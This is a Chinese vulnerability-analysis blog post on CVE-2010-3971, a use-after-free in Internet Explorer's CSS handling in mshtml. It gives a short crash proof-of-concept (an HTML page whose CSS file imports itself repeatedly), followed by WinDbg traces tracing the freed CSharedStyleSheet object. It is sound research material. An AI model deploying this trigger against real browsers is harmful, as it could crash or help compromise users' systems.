CVE-2010-3971 CSS内存破坏漏洞分析
发布者：Ox9A82
发布于：2016-03-24 01:14
看了仙果版主的议题演讲，其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑。于是找来POC，尝试分析一下。
1.漏洞重现
XP SP3+ie6.0环境
poc如下：
poc.htm
<div style="position: absolute; top: -999px;left: -999px;"> <link href="css.css" rel="stylesheet" type="text/css" />
css.css
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
2.漏洞分析
首先来看漏洞的相关信息
可见是一个UAF漏洞。
用调试器加载POC，调试器断在异常处。用IDA加载mshtml.dll文件，异常位置如图红色部分
注意在这个函数里我们可以看到ecx寄存器未经任何处理就直接拿来使用，说明这是thiscall函数调用。而ecx也就是对象的this指针。
异常是由cmp dword ptr [ecx+14h],1 触发的，其中ecx地址不可读
而ecx的值由edi指定的。再往上看edi又是由[ecx+0b8h]得到的。
绕了这么一大圈，我们可以猜到：
ecx是this指针，edi是对象中的一个指针成员。
而由于UAF漏洞导致这个对象被释放了，所以对象中的数据已经不可靠了，所以这个指针就是个野指针了，所以就会产生异常了。
最近学到了UAF漏洞的要点是搞清楚三点：1.对象何时何处被分配？ 2.对象何时何处被释放？ 3.对象何时何处被重用？
这里触发异常明显就是因为被重用了。那么前两点的答案呢？我们继续分析。
我们理一理思路，考虑一下。此时这个函数发生异常，说明对象已经被释放了，说明释放操作就发生在当前步骤之前，就是说我们可以通过回溯找到释放的操作。
事实的结果是回溯不到那个释放的函数。说明我这个想法并不能成功，于是通过分析该对象（CStyleSheet）的方法来找出释放的位置。
因为我们知道要想释放这个对象肯定要使用这个对象自己的提供的方法，那么就可以通过对释放的方法下断点来实现。
重新分析这个漏洞，win7 x86 +ie8环境。加载poc，程序崩溃。挂载windbg，启用ust，开启子进程调试，发现异常信息如下。
1:019> r eax=00000000 ebx=17ef8f90 ecx=7770316f edx=00051078 esi=00000003 edi=1817cff0 eip=678b610d esp=045ed620 ebp=045ed62c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CSharedStyleSheet::Notify+0x1b: 678b610d 8b0f mov ecx,dword ptr [edi] ds:0023:1817cff0=????????
看一下edi的来源问题，如下所示。可见edi来自于ecx+0xd8。又由于这是CSharedStyleSheet对象的一个方法函数，根据调用约定我们就可以知道，这个ecx就是对象的this指针。
1:019> ub 678b610d mshtml!CSharedStyleSheet::Notify+0x6: 678b60f6 56 push esi 678b60f7 8bb1d0000000 mov esi,dword ptr [ecx+0D0h] 678b60fd 57 push edi 678b60fe 8bb9d8000000 mov edi,dword ptr [ecx+0D8h] 678b6104 33c0 xor eax,eax 678b6106 c1ee02 shr esi,2 678b6109 85f6 test esi,esi 678b610b 7e12 jle mshtml!CSharedStyleSheet::Notify+0x37 (678b611f)
为此，猜测edi是ecx对象的一个成员
1:019> dc ecx 7770316f 900008c2 90909090 8508458b c6850fc0 .........E...... 7770317f 8000034b 7400e67d ccb7ff0b e8000000 K...}..t........ 7770318f ffff39ad 8c5d89c3 850fc085 fffffe26 .9....].....&... 7770319f 870fda3b fffffe16 04b04583 8bb0458b ;........E...E.. 777031af e1eb4300 90909090 00b06890 d8680000 .C.......h....h. 777031bf e8777008 ffff39f1 8bc45589 e05d89d9 .pw..9...U....]. 777031cf 8941c933 45c6bc4d ff3300df 89d07d89 3.A.M..E..3..}.. 777031df 7d89d87d 907d89a8 0f60c2f7 850f7d01 }..}..}...`..}..
为了验证我们的猜想我们来看一下分配记录，由分配的记录来看我们可以这个是CSharedStyleSheet对象，其实作为CSharedStyleSheet::Notify的this指针传进来的也只能是CSharedStyleSheet对象。
1:018> !heap -p -a ecx address 17590f08 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 178624ac: 17590f08 f8 - 17590000 2000 mshtml!CSharedStyleSheet::`vftable' 77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77737d96 ntdll!RtlpAllocateHeap+0x000000c4 777034ca ntdll!RtlAllocateHeap+0x0000023a 685144dc mshtml!CSharedStyleSheet::Create+0x00000023 68513eaa mshtml!CStyleSheetArray::CreateNewStyleSheet+0x00000054 685266a7 mshtml!CLinkElement::HandleLinkedObjects+0x0000032f 68526576 mshtml!CLinkElement::Notify+0x0000011a 6850780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf 68506bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a 684f77cf mshtml!CHtmPost::Broadcast+0x0000000f 684f7924 mshtml!CHtmPost::Exec+0x00000255 684f8a99 mshtml!CHtmPost::Run+0x00000015 684f89fd mshtml!PostManExecute+0x000001fb 684f7c66 mshtml!PostManResume+0x000000f7 685113f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010 684f53fc mshtml!CDwnChan::OnMethodCall+0x00000019 685994b2 mshtml!GlobalWndOnMethodCall+0x000000ff 685837f7 mshtml!GlobalWndProc+0x0000010c 774286ef USER32!InternalCallWinProc+0x00000023 77428876 USER32!UserCallWinProcCheckWow+0x0000014b 774289b5 USER32!DispatchMessageWorker+0x0000035e 77428e9c USER32!DispatchMessageW+0x0000000f 6b9104a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452 6b920446 IEFRAME!LCIETab_ThreadProc+0x000002c1 76b749bd iertutil!CIsoScope::RegisterThread+0x000000ab 768b1174 kernel32!BaseThreadInitThunk+0x0000000e 7770b3f5 ntdll!__RtlUserThreadStart+0x00000070 7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b
edi的内存是不可访的，如下所示
1:019> ? edi Evaluate expression: 404213744 = 1817cff0 1:019> dc edi 1817cff0 ???????? ???????? ???????? ???????? ???????????????? 1817d000 ???????? ???????? ???????? ???????? ???????????????? 1817d010 ???????? ???????? ???????? ???????? ???????????????? 1817d020 ???????? ???????? ???????? ???????? ???????????????? 1817d030 ???????? ???????? ???????? ???????? ???????????????? 1817d040 ???????? ???????? ???????? ???????? ???????????????? 1817d050 ???????? ???????? ???????? ???????? ???????????????? 1817d060 ???????? ???????? ???????? ???????? ???????????????? 1:019> !address edi ProcessParametrs 00059840 in range 00059000 0005a000 Environment 000577b0 in range 00057000 00058000 18120000 : 1817c000 - 00001000 Type 00020000 MEM_PRIVATE Protect 00000001 PAGE_NOACCESS State 00001000 MEM_COMMIT Usage RegionUsageIsVAD
到这里其实有点迷茫，因为edi的内存属性不是未分配的，而是已经VAD分配的，但是却没有访问权限。那么看下是不是已释放导致的没有访问权限，也就是启用堆调试才会有的东西。
尝试!heap -p -a一下看看。如下，果然是已经释放的堆内存。
1:019> !heap -p -a edi address 1817cff0 found in _DPH_HEAP_ROOT @ 51000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 17e4298c: 1817c000 2000 778890b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77775674 ntdll!RtlDebugFreeHeap+0x0000002f 77737aca ntdll!RtlpFreeHeap+0x0000005d 77702d68 ntdll!RtlFreeHeap+0x00000142 76ef3cab ole32!MIDL_user_free+0x00000016 75ad0224 RPCRT4!NdrFreeTypeMemory+0x00000046 75abf26b RPCRT4!NdrPointerFree+0x000000a8 75b34e9e RPCRT4!NdrpFreeParams+0x00000145 75b34949 RPCRT4!NdrpCompleteAsyncServerCall+0x00000145 75b35494 RPCRT4!Ndr64pCompleteAsyncCall+0x00000084 75b35422 RPCRT4!RpcAsyncCompleteCall+0x0000001f 76ea21af ole32!_UpdateResolverBindings+0x00000052 75acfc8f RPCRT4!Invoke+0x0000002a 75b347ea RPCRT4!NdrAsyncServerCall+0x000001e4 75acf34a RPCRT4!DispatchToStubInCNoAvrf+0x0000004a 75b0fb70 RPCRT4!DispatchToStubInCAvrf+0x00000016 75acf4da RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000016c 75acf3c6 RPCRT4!RPC_INTERFACE::DispatchToStub+0x0000008b 75ac3974 RPCRT4!LRPC_SCALL::DispatchRequest+0x00000257 75acf7a4 RPCRT4!LRPC_SCALL::QueueOrDispatchCall+0x000000bd 75acf763 RPCRT4!LRPC_SCALL::HandleRequest+0x0000034f 75acf5ff RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x00000144 75acf573 RPCRT4!LRPC_ADDRESS::HandleRequest+0x000000bd 75acee4f RPCRT4!LRPC_ADDRESS::ProcessIO+0x0000050a 75acece7 RPCRT4!LrpcServerIoHandler+0x00000016 75ad1357 RPCRT4!LrpcIoComplete+0x00000016 776dd3a3 ntdll!TppAlpcpExecuteCallback+0x000001c5 776e0748 ntdll!TppWorkerThread+0x000005a4 768b1174 kernel32!BaseThreadInitThunk+0x0000000e 7770b3f5 ntdll!__RtlUserThreadStart+0x00000070 7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b
附此漏洞的有关信息：
1.http://www.topsec.com.cn/aqtb/yjcg/ldyj/967.htm 天融信的分析报告
2.http://cve.scap.org.cn/cve-2010-3971.html SCAP的收录
声明：该文观点仅代表作者本人，转载请注明来自看雪